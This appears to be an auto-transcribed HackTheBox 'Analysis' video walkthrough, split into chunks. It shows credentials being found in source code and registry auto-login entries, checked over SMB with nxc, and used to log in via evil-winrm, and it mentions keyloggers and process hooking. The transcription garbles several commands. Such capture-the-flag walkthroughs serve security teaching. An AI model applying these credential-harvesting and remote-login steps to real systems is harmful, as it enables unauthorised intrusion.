text: log let's go to the other one maybe fine string I did that wrong there we go so if we look at this we can see dashboard alert panel off one username J do and then we have this password so this is another way we could have got the password just by looking at the source code and discovering there is an endpoint that has password as a git variable so we go look at HTTP logs um if when piece finishes which it does this user also configured to automatically log into the box so there is going to be an entry a registry entry that has Auto login um I'm just going to search for J Del there we go so we look for auto login credentials we see J do and then this password so two ways we can get um this user credential so let's go V creds and then we can say J do and put this password in and then if we do the net exact

title: HackTheBox - Analysis


text: nxc um SMB 1010 11 250 J do password this is just going to verify we have a successful off because we're not an admin so we can't just get a shelf from here if I look at when RM it is going to say we can access it so we could use like evil wi rm- I 101 11250 d j do- p and log into the box now if we look at jell we can see there is a bcdb directory in the documents also if we run task list um shoot uh we can't run from Evo one remm because we're non Interactive we should be able to run get process or we could run task list from a reverse shell because we're local on the box here right so either there's work we do see there is a BC text encoder and it's got a interactive session on it so what we have to do is um find this binary and then we can download it and look at it uh if we also went to CD slash do a dir

title: HackTheBox - Analysis


text: um there is a private directory as well and if we look at encoded text this is going to be a encoded message from the BC text encoder utility so we have to find a way to decrypt this and um since the J do user has this application running we could hook it and examine all the memory in it you could also potentially run a key logger and then get keys as they're typed in however the way the Box author set this up a key loger will not work because they're doing a dll injection and then mainly um doing the call in the application to force you to hook it so I'm going to do a separate video on just hooking because if we kept going on it would probably double the length of this video because there's a lot of things I want to talk about when we show that right so if we just go progra one this is going to get in the program files we can go to BC text

title: HackTheBox - Analysis


text: encoder and then we could also download it this is also just downloadable on the internet so you can download it that way if you don't want to xfill it off the box but that is going to conclude the video I know it's a bit odd that we didn't show the intended route but we showed a pretty cool unintended route with that snort dll thing um and hopefully in a week or two I will have the next part of the video up where we do hooking in order to examine all the text that is being written into BC text encoder so with that being said hope you guys enjoyed the video take care and I'll see you all next time

title: HackTheBox - Analysis